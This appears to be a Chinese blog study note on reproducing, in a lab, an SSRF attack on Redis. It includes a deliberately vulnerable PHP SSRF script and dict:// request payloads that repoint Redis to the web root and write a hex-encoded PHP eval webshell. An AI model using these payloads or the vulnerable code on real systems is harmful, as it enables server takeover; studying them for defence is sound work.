SSRF之利用dict和gopher吊打Redis 写在前面
SSRF打Redis也是老生常谈的东西了,这里复现学习一下之前在xz看到某师傅写的关于SSRF利用dict和gopher打内网服务的文章,主要是对webshell和sshkey的写入进行复现,做一点小笔记。
准备环境centos:有计划任务服务、redis4.x版本
kali:作为攻击机,模拟vps
物理机:phpstudy+ssrf.php
redis4.x下载 wget $ tar xzf redis-4.0.11.tar.gz $ cd redis-4.0.11 $ make # centos需要提权安装make和gcc依赖包 yum install make yum install gcc SSRF漏洞代码网上找了一份demo
<?php $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET['url']); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); ?> 探测漏洞首先验证SSRF是否存在,可以通过获取远程服务器上的一些资源(比如图片),看看响应包是否能抓到,如果目标机能出网直接DNSLOG就能拿到真实IP。
(当然用dict协议也可以)
GET /ssrf/ssrf.php?url=http://clmppw.dnslog.cn HTTP/1.1 Host: 192.168.124.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 dict协议利用 dict进行端口探测抓包将端口那里设为要爆破的参数
可以事先准备个端口字典,根据Length升序即可
dict打Redis之写webshell先INFO探测是否设置口令,比如下图提示就是有的
照样可以Inturder模块爆破去,注意用 : 代替 空格
注意变量后面与 HTTP/1.1 一定要有空格
更改rdb文件的目录至网站目录下
url=dict://192.168.124.153:6380/config:set:dir:/var/www/html将rdb文件名dbfilename改为webshell的名字
url=dict://192.168.124.153:6380/config:set:dbfilename:webshell.php如果存在payload被转义或有过滤情况,可利用16进制,写入webshell
GET /ssrf/ssrf.php?url=dict://192.168.124.153:6380/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x20\x3f\x3e"清空一下数据, 试试写一句话能不能连上
GET /ssrf/ssrf.php?url=dict://192.168.124.153:6380/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x63\x6d\x64\x27\x5d\x29\x3b\x20\x3f\x3e"